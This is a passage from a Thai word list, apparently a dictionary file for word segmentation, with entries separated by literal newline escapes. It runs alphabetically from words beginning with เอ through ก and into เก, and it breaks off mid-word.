\nเอกภาพ\\nเอกมัย\\nเอกราช\\nเอกรูป\\nเอกลักษณ์\\nเอกศก\\nเอกสาร\\nเอกสิทธิ์\\nเอกอุ\\nเอ็ดอึง\\nเอนเอียง\\nเอมอร\\nเอออวย\\nเออออ\\nเอาการ\\nเอางาน\\nเอาจริง\\nเอาใจ\\nเอาเปรียบ\\nเอาเยี่ยง\\nเอิบอาบ\\nเอียงอาย\\nเอียงเอน\\nเอื้อเฟื้อ\\nโอ่โถง\\nโอ้โถง\\nโอ่อวด\\nโอ้อวด\\nโอ่อ่า\\nโอ้โลม\\nโอดครวญ\\nโอดโอย\\nโอนอ่อน\\nโอนเอน\\nโอบอ้อม\\nโอบอุ้ม\\nโอสถกรรม\\nไอเสีย\\nไอกรน\\nฮวบฮาบ\\nฮาป่า\\nฮึกหาญ\\nฮึกห้าว\\nฮึกเหิม\\nฮึกโหม\\nฮึกฮัก\\nเฮงซวย\\nโฮกฮือ\\nโฮกฮาก\\n\\nก็\\nกก\\nก๊ก\\nกกุธภัณฑ์\\nกง\\nก่ง\\nก้ง\\nก๊ง\\nก๋ง\\nกงกอน\\nกงไฉ่\\nกงเต๊ก\\nกงสี\\nกงสุล\\nกช\\nกฎ\\nกฏุก\\nกฐิน\\nกณิกนันต์\\nกณิการ์\\nกด\\nกตเวทิตา\\nกตเวที\\nกตัญชลี\\nกตัญญุตา\\nกตัญญู\\nกตาธิการ\\nกตาภินิหาร\\nกติกา\\nกถา\\nกถิกาจารย์\\nกทลี\\nกน\\nก่น\\nก้น\\nกนก\\nกนิษฐ์\\nกนิษฐา\\nกบ\\nกบฏ\\nกบดาน\\nกบทู\\nกบาล\\nกบินทร์\\nกบิล\\nกบี่\\nกบูร\\nกเบนทร์\\nกม\\nก้ม\\nกมณฑลาภิเษก\\nกมณฑโลทก\\nกมล\\nกมลา\\nกมลาศ\\nกมลาสน์\\nกมเลศ\\nกมัณฑลุ\\nกมุท\\nกร\\nกรกฎ\\nกรกฎาคม\\nกรกฏ\\nกรง\\nกรชกาย\\nกรณฑ์\\nกรณิการ์\\nกรณี\\nกรณีย์\\nกรณียกิจ\\nกรณียะ\\nกรด\\nกรน\\nกรบ\\nกรบูร\\nกรพินธุ์\\nกรม\\nกรรกฎ\\nกรรกศ\\nกรรเกด\\nกรรไกร\\nกรรเจียก\\nกรรชิง\\nกรรเชียง\\nกรรโชก\\nกรรฐ์\\nกรรฐา\\nกรรณ\\nกรรณา\\nกรรณิกา\\nกรรณิการ์\\nกรรดิ\\nกรรดิก\\nกรรดึก\\nกรรตุ\\nกรรไตร\\nกรรทบ\\nกรรแทก\\nกรรบิด\\nกรรบูร\\nกรรภิรมย์\\nกรรม\\nกรรม์\\nกรรม์ภิรมย์\\nกรรมชวาต\\nกรรมัชวาต\\nกรรมาชีพ\\nกรรมาธิการ\\nกรรมาร\\nกรรษก\\nกรรสะ\\nกรรแสง\\nกรวด\\nกรวบ\\nกรวม\\nกร้วม\\nกรวย\\nกรวิก\\nกรสาปน์\\nกรสุทธิ์\\nกรอ\\nกร้อ\\nกรอก\\nกร็อกกร๋อย\\nกรอกแกรก\\nกรอง\\nกรองกรอย\\nกรอด\\nกร่อน\\nกรอบ\\nกรอม\\nกร่อย\\nกระ\\nกระกร\\nกระกรุ่น\\nกระกลับกลอก\\nกระกี้\\nกระเกรอก\\nกระเกริก\\nกระเกริ่น\\nกระคน\\nกระคาย\\nกระงกกระเงิ่น\\nกระง่องกระแง่ง\\nกระง่อนกระแง่น\\nกระเง้ากระงอด\\nกระโงก\\nกระจก\\nกระจง\\nกระจร\\nกระจอก\\nกระจองหง่อง\\nกระจ๋องหง่อง\\nกระจองอแง\\nกระจ้อน\\nกระจอนหู\\nกระจ้อย\\nกระจ๋อหวอ\\nกระจะ\\nกระจัก\\nกระจัง\\nกระจัด\\nกระจับ\\nกระจ่า\\nกระจ่าง\\nกระจาด\\nกระจาน\\nกระจาบ\\nกระจาม\\nกระจาย\\nกระจาว\\nกระจิก\\nกระจิ๋ง\\nกระจิด\\nกระจิบ\\nกระจิ๋ม\\nกระจิริด\\nกระจิ๋ว\\nกระจี้\\nกระจี๋\\nกระจุก\\nกระจุ๋งกระจิ๋ง\\nกระจุบ\\nกระจุ๊บ\\nกระจุ๋มกระจิ๋ม\\nกระจุย\\nกระจู้\\nกระจู๋กระจี๋\\nกระจูด\\nกระเจอะกระเจิง\\nกระเจา\\nกระเจ่า\\nกระเจ้า\\nกระเจาะ\\nกระเจิง\\nกระเจิดกระเจิง\\nกระเจี้ยง\\nกระเจี๊ยบ\\nกระเจียว\\nกระเจี๊ยว\\nกระแจะ\\nกระโจน\\nกระโจม\\nกระฉอก\\nกระฉ่อน\\nกระฉับกระเฉง\\nกระฉิ่ง\\nกระฉีก\\nกระฉูด\\nกระเฉก\\nกระเฉด\\nกระแฉก\\nกระโฉกกระเฉก\\nกระโฉม\\nกระชดกระช้อย\\nกระชอน\\nกระชอมดอก\\nกระช้อย\\nกระชัง\\nกระชั้น\\nกระชับ\\nกระชาก\\nกระชาย\\nกระชิง\\nกระชิด\\nกระชุ\\nกระชุก\\nกระชุ่มกระชวย\\nกระเชอ\\nกระเชา\\nกระเช้า\\nกระเชียง\\nกระแชง\\nกระแชะ\\nกระโชก\\nกระซ่องกระแซ่ง\\nกระซับ\\nกระซาบ\\nกระซิก\\nกระซิบ\\nกระซี้\\nกระซุง\\nกระซุบกระซิบ\\nกระซุ้ม\\nกระซู่\\nกระเซ็น\\nกระเซอ\\nกระเซอะกระเซอ\\nกระเซอะกระเซิง\\nกระเซ้า\\nกระเซิง\\nกระแซ\\nกระแซะ\\nกระโซกระเซ\\nกระฎี\\nกระฎุมพี\\nกระดก\\nกระด้ง\\nกระดนโด่\\nกระดวง\\nกระดวน\\nกระด้วมกระเดี้ยม\\nกระดอ\\nกระดอง\\nกระดองหาย\\nกระดอน\\nกระดอม\\nกระดักกระเดี้ย\\nกระดังงัว\\nกระดังงา\\nกระดาก\\nกระด้าง\\nกระดางลาง\\nกระดาด\\nกระดาดขาว\\nกระดาน\\nกระดานพน\\nกระดาษ\\nกระดำกระด่าง\\nกระดิก\\nกระดิ่ง\\nกระดิ้ง\\nกระดิบ\\nกระดี่\\nกระดี้กระเดียม\\nกระดึง\\nกระดืบ\\nกระดุ\\nกระดุกกระดิก\\nกระดุ้งกระดิ้ง\\nกระดุบ\\nกระดุบกระดิบ\\nกระดุม\\nกระดูก\\nกระเดก\\nกระเด้ง\\nกระเด็น\\nกระเด้า\\nกระเดาะ\\nกระเดิด\\nกระเดี้ย\\nกระเดียด\\nกระเดือก\\nกระเดื่อง\\nกระแด็ก\\nกระแด้ง\\nกระแด้แร่\\nกระแด่ว\\nกระแดะ\\nกระโดก\\nกระโดง\\nกระโดด\\nกระโดน\\nกระได\\nกระตรับ\\nกระตราก\\nกระตรุด\\nกระตรุม\\nกระต้วมกระเตี้ยม\\nกระต้อ\\nกระต่องกระแต่ง\\nกระต๊อบ\\nกระต้อยตีวิด\\nกระตัก\\nกระตั้ว\\nกระต่าย\\nกระติก\\nกระติ๊ด\\nกระติบ\\nกระตือรือร้น\\nกระตุก\\nกระตุ้งกระติ้ง\\nกระตุ่น\\nกระตุ้น\\nกระตูบ\\nกระเตง\\nกระเต็น\\nกระเตอะ\\nกระเตาะ\\nกระเตาะกระแตะ\\nกระเตื้อง\\nกระแต\\nกระแตแต้แว้ด\\nกระโตกกระตาก\\nกระโตน\\nกระถด\\nกระถอบ\\nกระถั่ว\\nกระถาง\\nกระถิก\\nกระถิน\\nกระเถิบ\\nกระโถน\\nกระทก\\nกระทง\\nกระทบ\\nกระทรวง\\nกระทอก\\nกระท้อน\\nกระท่อนกระแท่น\\nกระท่อม\\nกระท้อมกระแท้ม\\nกระทะ\\nกระทั่ง\\nกระทั้น\\nกระทา\\nกระทาย\\nกระทาสี\\nกระทาหอง\\nกระทำ\\nกระทิกกระทวย\\nกระทิง\\nกระทึง\\nกระทืบ\\nกระทุ\\nกระทุง\\nกระทุ้ง\\nกระทุ่ม\\nกระทู้\\nกระเท่\\nกระเทียบ\\nกระเทียม\\nกระเทือน\\nกระเทื้อม\\nกระแทก\\nกระแท่น\\nกระแทะ\\nกระไทชาย\\nกระน่อง\\nกระนั้น\\nกระนี้\\nกระแนะกระแหน\\nกระโน้น\\nกระไน\\nกระบก\\nกระบม\\nกระบวน\\nกระบวย\\nกระบวร\\nกระบอก\\nกระบอง\\nกระบะ\\nกระบัด\\nกระบั้วกระเบี้ย\\nกระบ่า\\nกระบ้า\\nกระบาก\\nกระบาย\\nกระบาล\\nกระบิ\\nกระบิ้ง\\nกระบิด\\nกระบิล\\nกระบี่\\nกระบือ\\nกระบุง\\nกระบุ่มกระบ่าม\\nกระบู้กระบี้\\nกระบูน\\nกระบูร\\nกระเบง\\nกระเบญ\\nกระเบ็ดกระบวน\\nกระเบน\\nกระเบา\\nกระเบิก\\nกระเบียด\\nกระเบียน\\nกระเบื้อง\\nกระแบก\\nกระแบะ\\nกระโบม\\nกระปมกระปำ\\nกระปมกระเปา\\nกระปรอก\\nกระปรอกว่าว\\nกระปรี้กระเปร่า\\nกระปอก\\nกระป้อกระแป้\\nกระป่อง\\nกระป๋อง\\nกระปอดกระแปด\\nกระป๋อหลอ\\nกระปั้วกระเปี้ย\\nกระป่ำ\\nกระปุก\\nกระปุ๊กลุก\\nกระปุ่ม\\nกระปุ่มกระป่ำ\\nกระปุ่มกระปิ่ม\\nกระเป๋า\\nกระเปาะ\\nกระโปก\\nกระโปรง\\nกระผม\\nกระผลีกระผลาม\\nกระผาน\\nกระผีก\\nกระพรวน\\nกระพริ้ม\\nกระพอก\\nกระพอง\\nกระพ้อม\\nกระพัก\\nกระพัง\\nกระพังเหิร\\nกระพังโหม\\nกระพัด\\nกระพัตร\\nกระพัน\\nกระพั่น\\nกระพา\\nกระพาก\\nกระพี้\\nกระพือ\\nกระพุ้ง\\nกระพุ่ม\\nกระเพาะ\\nกระเพิง\\nกระเพื่อม\\nกระแพ้ง\\nกระฟัดกระเฟียด\\nกระฟูมกระฟาย\\nกระมล\\nกระมอบ\\nกระมอมกระแมม\\nกระมัง\\nกระมัน\\nกระมิดกระเมี้ยน\\nกระมุท\\nกระเมาะ\\nกระย่อง\\nกระย่องกระแย่ง\\nกระย่อน\\nกระย่อม\\nกระยา\\nกระยาง\\nกระยาจก\\nกระยาหงัน\\nกระยิก\\nกระยิ้มกระย่อง\\nกระยึกกระยือ\\nกระยืดกระยาด\\nกระเย้อกระแหย่ง\\nกระรอก\\nกระเรียน\\nกระโรกน้ำข้าว\\nกระโรกใหญ่\\nกระไร\\nกระลด\\nกระลบ\\nกระลอก\\nกระลอม\\nกระละหล่ำ\\nกระลัด\\nกระลับ\\nกระลัมพร\\nกระลา\\nกระลำ\\nกระลำพัก\\nกระลำพุก\\nกระลิง\\nกระลี\\nกระลุมพาง\\nกระลุมพุก\\nกระลุมพู\\nกระลูน\\nกระลู่น์\\nกระเล็น\\nกระเลียด\\nกระเลือก\\nกระโลง\\nกระวน\\nกระวัด\\nกระวาด\\nกระวาน\\nกระวาย\\nกระวิน\\nกระวี\\nกระวีกระวาด\\nกระวูดกระวาด\\nกระเวน\\nกระเวยกระวาย\\nกระแวน\\nกระโวยกระวาย\\nกระษัย\\nกระษาปณ์\\nกระสง\\nกระสบ\\nกระสม\\nกระสรวล\\nกระสร้อย\\nกระสวน\\nกระสวย\\nกระสอบ\\nกระสะ\\nกระสัง\\nกระสัน\\nกระสับกระส่าย\\nกระสา\\nกระสานติ์\\nกระสาบ\\nกระสาย\\nกระสือ\\nกระสุงกระสิง\\nกระสุน\\nกระสูทธิ์\\nกระสูบ\\nกระเสด\\nกระเส็นกระสาย\\nกระเส่า\\nกระเสาะกระแสะ\\nกระเสียน\\nกระเสียร\\nกระเสือกกระสน\\nกระแส\\nกระแสง\\nกระแสะ\\nกระโสง\\nกระไส\\nกระหนก\\nกระหนาก\\nกระหนาบ\\nกระหน่ำ\\nกระหมวด\\nกระหมอบ\\nกระหม่อม\\nกระหมั่ง\\nกระหมิบ\\nกระหมุดกระหมิด\\nกระหมุบ\\nกระหย่ง\\nกระหย่อม\\nกระหยัง\\nกระหยับ\\nกระหยิ่ม\\nกระหรอด\\nกระหริ่ง\\nกระหวน\\nกระหวัด\\nกระหอง\\nกระหัง\\nกระหัด\\nกระหาง\\nกระหาย\\nกระหึม\\nกระหึ่ม\\nกระหืดกระหอบ\\nกระเห็น\\nกระเหนียด\\nกระเหม็ดกระเหมียด\\nกระเหม็ดกระแหม่\\nกระเหม่น\\nกระเหม่า\\nกระเหว่า\\nกระเห่อ\\nกระเหิม\\nกระเหี้ยนกระหือรือ\\nกระแห\\nกระแหทอง\\nกระแหนบ\\nกระแหนะ\\nกระแหมบ\\nกระแหม่ว\\nกระแหย่ง\\nกระแหร่ม\\nกระแหล่ง\\nกระโห้\\nกระโหนด\\nกระโหม\\nกระโหย\\nกระโหย่ง\\nกระอวล\\nกระอ้อกระแอ้\\nกระออดกระแอด\\nกระออบ\\nกระออม\\nกระอ้อมกระแอ้ม\\nกระอัก\\nกระอักกระอ่วน\\nกระอั้วแทงควาย\\nกระอ้า\\nกระอาน\\nกระอิด\\nกระอิดกระเอื้อน\\nกระอึก\\nกระอืด\\nกระอุ\\nกระอุก\\nกระเอา\\nกระเอิก\\nกระเอิบ\\nกระแอก\\nกระแอบ\\nกระแอม\\nกระไอ\\nกรัก\\nกรักขี\\nกรัง\\nกรัชกาย\\nกรัณฑ์\\nกรัณย์\\nกรัน\\nกรับ\\nกรัม\\nกราก\\nกราง\\nกร่าง\\nกราด\\nกราดวง\\nกราน\\nกร้าน\\nกราบ\\nกราฟ\\nกราม\\nกราย\\nกร่าย\\nกราว\\nกร้าว\\nกรำ\\nกร่ำ\\nกริก\\nกริ๊ก\\nกริกกริว\\nกริกกรี\\nกริ่ง\\nกริ๊ง\\nกริงกริว\\nกริ้งกริ้ว\\nกริช\\nกริณี\\nกริน\\nกรินทร์\\nกรินี\\nกริบ\\nกริม\\nกริ่ม\\nกริยา\\nกริยานุเคราะห์\\nกริว\\nกริ้ว\\nกรี\\nกรีฑา\\nกรีด\\nกรี๊ด\\nกรีธา\\nกรีษ\\nกรีส\\nกรึ๊บ\\nกรุ\\nกรุง\\nกรุ้งกริ่ง\\nกรุณ\\nกรุณา\\nกรุณาธิคุณ\\nกรุ่น\\nกรุบ\\nกรุ่ม\\nกรุ้มกริ่ม\\nกรุย\\nกรุยเกรียว\\nกรู\\nกรูด\\nกรูม\\nกเรณุ\\nกเรนทร\\nกเรนทร์\\nกฤช\\nกฤดาภินิหาร\\nกฤตติกา\\nกฤษฎา\\nกฤษฎาธาร\\nกฤษฎาภินิหาร\\nกฤษฎีกา\\nกฤษณา\\nกล\\nกลด\\nกล่น\\nกลบ\\nกลม\\nกลละ\\nกลวง\\nกล้วย\\nกลศ\\nกล้อ\\nกลอก\\nกลอง\\nกล่อง\\nกล้อง\\nกล้องแกล้ง\\nกลอน\\nกล่อน\\nกล้อน\\nกล่อม\\nกล้อมแกล้ม\\nกลอย\\nกลัก\\nกลัด\\nกลั่น\\nกลั้น\\nกลันทก์\\nกลันทะ\\nกลับ\\nกลัมพร\\nกลัมพัก\\nกลัว\\nกลั้ว\\nกลา\\nกล้า\\nกลาก\\nกลากลาด\\nกลาง\\nกลาด\\nกลาบาต\\nกลาป\\nกล้าม\\nกลาย\\nกล้าย\\nกลายกลอก\\nกล่าว\\nกลาโหม\\nกล่ำ\\nกล้ำ\\nกลิ้ง\\nกลิงค์\\nกลิ่น\\nกลี\\nกลีบ\\nกลึง\\nกลึงค์\\nกลืน\\nกลุ่ม\\nกลุ้ม\\nกลูโคส\\nกเลวระ\\nกวด\\nกวน\\nกวม\\nกวย\\nกวยจั๊บ\\nกวยจี๊\\nก๋วยเตี๋ยว\\nกวัก\\nกวัด\\nกวา\\nกว่า\\nกวาง\\nกว่าง\\nกว้าง\\nกว่างโซ้ง\\nกวางตุ้ง\\nกวาด\\nกว้าน\\nกว๊าน\\nกว้าว\\nกวาวเครือ\\nกวี\\nกษณะ\\nกษมา\\nกษัตร\\nกษัตรา\\nกษัตริย์\\nกษัตรี\\nกษัตรีย์\\nกษัย\\nกษาปณ์\\nกษิดิ\\nกษีร\\nกษีรธารา\\nกษีระ\\nกสานติ์\\nกสิกร\\nกสิกรรม\\nกสิณ\\nกหังปายา\\nกหาปณะ\\nกเฬวราก\\nกอ\\nก่อ\\nก้อ\\nก๊อ\\nกอก\\nก๊อก\\nกอแก\\nกอง\\nก่อง\\nก้อง\\nกองกอย\\nก๊อซ\\nกอด\\nก่อน\\nก้อน\\nกอบ\\nกอบนาง\\nก๊อบปี้\\nกอปร\\nก้อม\\nกอมก้อ\\nก่อมก้อ\\nกอย\\nก้อย\\nก๋อย\\nกอริลลา\\nกอล์ฟ\\nกอและ\\nกอเอี๊ยะ\\nกะ\\nกะกัง\\nกะง้องกะแง้ง\\nกะจัง\\nกะแจะ\\nกะชะ\\nกะชัง\\nกะชามาศ\\nกะชิง\\nกะชึ่กกะชั่ก\\nกะแช่\\nกะซวก\\nกะซ้าหอย\\nกะซี่\\nกะโซ่\\nกะโซ้\\nกะดก\\nกะดง\\nกะดวน\\nกะดอก\\nกะดะ\\nกะดังบาย\\nกะดัด\\nกะด้าง\\nกะดำกะด่าง\\nกะดี\\nกะดี่\\nกะดุ้ง\\nกะเด้\\nกะเดก\\nกะเดี๋ยว\\nกะตรุด\\nกะตอก\\nกะต่อย\\nกะตัก\\nกะตั้ก\\nกะตัง\\nกะตังกะติ้ว\\nกะต๊าก\\nกะต้ำ\\nกะติ๊กริก\\nกะติงกะแตง\\nกะตีบ\\nกะตึงกะแตง\\nกะตุ๊ก\\nกะตุด\\nกะตูก\\nกะเตง\\nกะโต๊ก\\nกะโตงกะเตง\\nกะโต้งโห่ง\\nกะถัว\\nกะทกรก\\nกะทอ\\nกะทัง\\nกะทังหัน\\nกะทัดรัด\\nกะทันหัน\\nกะทับ\\nกะทิ\\nกะทือ\\nกะทุน\\nกะเทย\\nกะเทาะ\\nกะแท้\\nกะแท่ง\\nกะแทน\\nกะนวล\\nกะนัด\\nกะบ่อนกะแบ่น\\nกะบัง\\nกะบั้ง\\nกะบิ้ง\\nกะบิล\\nกะบึงกะบอน\\nกะบุด\\nกะเบ้อ\\nกะเบียน\\nกะเบือ\\nกะปริดกะปรอย\\nกะปริบ\\nกะปริบกะปรอย\\nกะปลกกะเปลี้ย\\nกะปวกกะเปียก\\nกะปอม\\nกะปอมขาง\\nกะปะ\\nกะป้ำกะเป๋อ\\nกะปิ\\nกะปู\\nกะปูด\\nกะปูดหลูด\\nกะเปะ\\nกะเปิ๊บกะป๊าบ\\nกะเปียด\\nกะแป้น\\nกะแปะ\\nกะโปรง\\nกะโปโล\\nกะผลุบกะโผล่\\nกะเผ่น\\nกะเผลก\\nกะโผลกกะเผลก\\nกะพง\\nกะพรวดกะพราด\\nกะพร่องกะแพร่ง\\nกะพริบ\\nกะพรุน\\nกะพรูดกะพราด\\nกะพล้อ\\nกะพ้อ\\nกะเพรา\\nกะเพียด\\nกะเม็ง\\nกะร่องกะแร่ง\\nกะระตะ\\nกะระหนะ\\nกะรัง\\nกะรัต\\nกะราง\\nกะริง\\nกะรุงกะรัง\\nกะรุ่งกะริ่ง\\nกะรุน\\nกะเร\\nกะเรกะร่อน\\nกะเร่กะร่อน\\nกะเร่อ\\nกะเรี่ยกะราด\\nกะโรกะเร\\nกะลวย\\nกะลอ\\nกะล่อกะแล่\\nกะลอจี๊\\nกะล่อน\\nกะล่อมกะแล่ม\\nกะล่อยกะหลิบ\\nกะละปังหา\\nกะละมัง\\nกะละแม\\nกะละออม\\nกะลังตังไก่\\nกะลัน\\nกะลันทา\\nกะลา\\nกะลาง\\nกะลาสี\\nกะลำพอ\\nกะลิง\\nกะลิงปลิง\\nกะลิ้มกะเหลี่ย\\nกะลิอ่อง\\nกะลุมพี\\nกะเล็ง\\nกะเล่อกะล่า\\nกะเลิด\\nกะเลียว\\nกะแล\\nกะโล่\\nกะโลง\\nกะวอกกะแวก\\nกะวะ\\nกะส้มชื่น\\nกะสัง\\nกะส้าหอย\\nกะหนอกะแหน\\nกะหน็องกะแหน็ง\\nกะหนะ\\nกะหนุงกะหนิง\\nกะหร่อง\\nกะหรอด\\nกะหร็อมกะแหร็ม\\nกะหราน\\nกะหรี่\\nกะหรี่ปั๊บ\\nกะหลาป๋า\\nกะหล่ำ\\nกะหลี่\\nกะหลีกะหลอ\\nกะหลุกกะหลิก\\nกะหำ\\nกะหำแพะ\\nกะหือ\\nกะหูด\\nกะเหรี่ยง\\nกะเหลาะเปาะ\\nกะแหยก\\nกะแหะ\\nกะโหลก\\nกะโหล้ง\\nกะไหล่\\nกะอวม\\nกะออม\\nกะอาน\\nกะอาม\\nกะอูบ\\nกัก\\nกั๊ก\\nกักกรา\\nกักการุ\\nกักขฬะ\\nกัง\\nกั้ง\\nกังก้า\\nกังเกียง\\nกังขา\\nกังฉิน\\nกังฟู\\nกังวล\\nกังวาน\\nกังสดาล\\nกังไส\\nกังหัน\\nกัจฉปะ\\nกัจฉะ\\nกัจฉา\\nกัญ\\nกัญจุก\\nกัญจุการา\\nกัญชา\\nกัญญา\\nกัฐ\\nกัณฏกะ\\nกัณฐกะ\\nกัณฐชะ\\nกัณฐัศ\\nกัณฐัศว์\\nกัณฐา\\nกัณฐี\\nกัณฑ์\\nกัณณ์\\nกัณหา\\nกัด\\nกัตติกมาส\\nกัตติกา\\nกัตติเกยา\\nกัตรา\\nกัทลี\\nกัน\\nกั่น\\nกั้น\\nกันเกรา\\nกันไกร\\nกันชิง\\nกันเชอ\\nกันดาร\\nกันดาล\\nกันได\\nกันต์\\nกันตัง\\nกันไตร\\nกันทร\\nกันทรากร\\nกันภิรมย์\\nกันเมียง\\nกันย์\\nกันยา\\nกันยายน\\nกันลง\\nกันลอง\\nกันแสง\\nกั้นหยั่น\\nกับ\\nกับแก้\\nกัป\\nกัปตัน\\nกัปปาสิก\\nกัปปิยภัณฑ์\\nกัปปิยะ\\nกัมปนาท\\nกัมประโด\\nกัมปี\\nกัมพล\\nกัมพุช\\nกัมพู\\nกัมพูชา\\nกัมโพช\\nกัมมัชวาต\\nกัมมัฏฐาน\\nกัมมันตภาพรังสี\\nกัมมันตรังสี\\nกัมมาร\\nกัมลาศ\\nกัยวิกัย\\nกัลชาญ\\nกัลบก\\nกัลป์\\nกัลปนา\\nกัลปพฤกษ์\\nกัลปังหา\\nกัลปาวสาน\\nกัลปิต\\nกัลเม็ด\\nกัลยา\\nกัลยาณมิตร\\nกัลยาณี\\nกัลออม\\nกัศยป\\nกัษณ\\nกา\\nก๋า\\nกาก\\nกากบาท\\nกากะทิง\\nกากะเยีย\\nกากี\\nกาง\\nก้าง\\nกางเกง\\nกางเขน\\nก๊าซ\\nกาซะลอง\\nกาญจนา\\nกาฐ\\nกาด\\nก๊าด\\nกาน\\nก่าน\\nก้าน\\nก๊าน\\nกานดา\\nกานต์\\nกานน\\nก้านพร้าว\\nกานพลู\\nกาน้า\\nกาบ\\nก้าบ\\nกาบู\\nกาพย์\\nกาเฟอีน\\nกาแฟ\\nกาม\\nก้าม\\nกามารมณ์\\nกามินี\\nกาเมสุมิจฉาจาร\\nกาย\\nก่าย\\nกาเยน\\nการ\\nการณ์\\nการ์ด\\nการ์ตูน\\nการบูร\\nการย์\\nการวิก\\nการเวก\\nการะเกด\\nการะบุหนิง\\nการัณย์\\nการันต์\\nการางหัวขวาน\\nการิตการก\\nการิตวาจก\\nการุญ\\nการุณย์\\nกาเรการ่อน\\nกาล\\nกาลกรรณี\\nกาลกิณี\\nกาลจักร\\nกาลัญญุตา\\nกาลัญญู\\nกาลัด\\nกาลานุกาล\\nกาลิก\\nกาลี\\nกาแล\\nกาแล็กซี\\nกาแล็กโทส\\nกาว\\nก้าว\\nกาววาว\\nกาวาง\\nกาแวน\\nกาศิก\\nกาษฐะ\\nกาษา\\nกาสร\\nกาสะ\\nกาสา\\nกาสาร\\nกาสาวะ\\nกาสิโน\\nกาหล\\nกาหลง\\nกาหลา\\nกาเหว่า\\nกาไหล่\\nกาฬ\\nกาฬาวก\\nกาฮัง\\nกำ\\nก่ำ\\nกำกวม\\nกำกัด\\nกำกับ\\nก้ำกึ่ง\\nกำกูน\\nก้ำเกิน\\nกำเกียง\\nกำคูน\\nกำจร\\nกำจัด\\nกำจาย\\nกำชับ\\nกำชำ\\nกำซาบ\\nกำซำ\\nกำด้น\\nกำดัด\\nกำดาล\\nกำเดา\\nกำธร\\nกำนล\\nกำนัน\\nกำนัล\\nกำเนิด\\nกำบัง\\nก่ำบึ้ง\\nกำเบ้อ\\nกำปอ\\nกำปั่น\\nกำผลา\\nกำพง\\nกำพด\\nกำพต\\nกำพร้า\\nกำพราก\\nกำพวด\\nกำพอง\\nกำพืด\\nกำพุด\\nกำพู\\nกำเพลิง\\nกำแพง\\nกำภู\\nกำมลาศน์\\nกำมเลศ\\nกำมะถัน\\nกำมะลอ\\nกำมะหยี่\\nกำมะหริด\\nกำมังละการ\\nกำมังวิลิต\\nกำมัชพล\\nกำยาน\\nกำยำ\\nกำรอ\\nกำราบ\\nกำราล\\nกำเริบ\\nกำไร\\nกำลัง\\nกำลุง\\nกำเลา\\nกำไล\\nกำสรด\\nกำสรวล\\nกำหนด\\nกำหนัด\\nกำเหน็จ\\nกำแหง\\nกิก\\nกิ๊ก\\nกิ่ง\\nกิ้งก่า\\nกิ้งกือ\\nกิ้งโครง\\nกิจ\\nกิจจะ\\nกิจจา\\nกิดาการ\\nกิดาหยัน\\nกิตติ\\nกิตติมศักดิ์\\nกิน\\nกินนร\\nกินปลี\\nกินเปี้ยว\\nกินริน\\nกินรี\\nกิ๊บ\\nกิมตึ๋ง\\nกิมิชาติ\\nกิมิวิทยา\\nกิโมโน\\nกิโยตีน\\nกิระ\\nกิริณี\\nกิรินท\\nกิริเนศวร\\nกิริยา\\nกิเลน\\nกิเลส\\nกิโล\\nกิโลมกะ\\nกิ่ว\\nกิ๋ว\\nกี\\nกี่\\nกี้\\nกี๊\\nกี๋\\nกีฏวิทยา\\nกีด\\nกีตาร์\\nกีบ\\nกีรติ\\nกีฬา\\nกึก\\nกึง\\nกึ่ง\\nกึ๋น\\nกุ\\nกุก\\nกุ๊ก\\nกุกกุฏ\\nกุกกุร\\nกุกรรม\\nกุ้ง\\nกุงอน\\nกุงาน\\nกุโงก\\nกุจี\\nกุญแจ\\nกุญชร\\nกุฎ\\nกุฎา\\nกุฎี\\nกุฎุมพี\\nกุฏฐัง\\nกุฏิ\\nกุณฑ์\\nกุณฑล\\nกุณฑี\\nกุณโฑ\\nกุณาล\\nกุณี\\nกุด\\nกุดัง\\nกุดั่น\\nกุดา\\nกุทัณฑ์\\nกุน\\nกุ๊น\\nกุนเชียง\\nกุนที\\nกุโนกามอ\\nกุบ\\nกุบกับ\\nกุม\\nกุ่ม\\nกุมฝอย\\nกุมภ์\\nกุมภนิยา\\nกุมภัณฑ์\\nกุมภา\\nกุมภิล\\nกุมภีล์\\nกุมเหง\\nกุมาร\\nกุมารา\\nกุมารี\\nกุมุท\\nกุย\\nกุ๊ย\\nกุ๋ย\\nกุยช่าย\\nกุยเฮง\\nกุรระ\\nกุรุพินท์\\nกุเรา\\nกุล\\nกุลา\\nกุลาหล\\nกุลี\\nกุลีกุจอ\\nกุเลา\\nกุแล\\nกุเวร\\nกุศราช\\nกุศล\\nกุศโลบาย\\nกุสุม\\nกุสุมภ์\\nกุสุมา\\nกุสุมาลย์\\nกุสุมิตลดาเวลลิตา\\nกุหนี\\nกุหนุง\\nกุหร่า\\nกุหล่า\\nกุหลาบ\\nกุแหละ\\nกู\\nกู่\\nกู้\\nกู๊ก\\nกูฏ\\nกูฏา\\nกูณฑ์\\nกูด\\nกูบ\\nกูปรี\\nกูรมะ\\nกูรมาวตาร\\nเก\\nเก้\\nเก๊\\nเก๋\\nเกก\\nเก๊ก\\nเกกมะเหรก\\nเก๊กฮวย\\nเก้กัง\\nเก็ง\\nเก่ง\\nเก้ง\\nเก๋ง\\nเกงกอย\\nเก่งกาจ\\nเกงเขง\\nเก๋งเคง\\nเก็จ\\nเกจิอาจารย์\\nเกชา\\nเกณฑ์\\nเกด\\nเก็ด\\nเกตุ\\nเกน\\nเก็บ\\nเกม\\nเกย\\nเกยูร\\nเกรง\\nเกร็ง\\nเกร็ด\\nเกรน\\nเกร่อ\\nเกรอะ\\nเกราะ\\nเกริก\\nเกริน\\nเกริ่น\\nเกรียก\\nเกรียง\\nเกรียด\\nเกรียน\\nเกรียบ\\nเกรียม\\nเกรียว\\nเกรี้ยว\\nเกเร\\nเกล็ด\\nเกลศ\\nเกลอ\\nเกลา\\nเกล้า\\nเกลาะ\\nเกลี่ย\\nเกลี้ย\\nเกลียง\\nเกลี้ยง\\nเกลียด\\nเกลียว\\nเกลือ\\nเกลื้อ\\nเกลือก\\nเกลื่อน\\nเกลื้อน\\nเกวัฏ\\nเกวียน\\nเกศ\\nเกศว\\nเกศวะ\\nเกศา\\nเกศินี\\nเกศี\\nเกษตร\\nเกษม\\nเกษียณ\\nเกษียน\\nเกษียร\\nเกส\\nเกสร\\nเกสรี\\nเกสา\\nเกสี\\nเก้อ\\nเกอิชา\\nเกะ\\nเกะกะ\\nเกา\\nเก่า\\nเก้า\\nเก๋า\\nเกาต์\\nเกาทัณฑ์\\nเกาบิล\\nเกาลัด\\nเกาลิน\\nเกาไศย\\nเกาหลี\\nเกาเหลา\\nเกาเหลียง\\nเก้าอี้\\nเกาะ\\nเกิ้ง\\nเกิด\\nเกิน\\nเกิบ\\nเกีย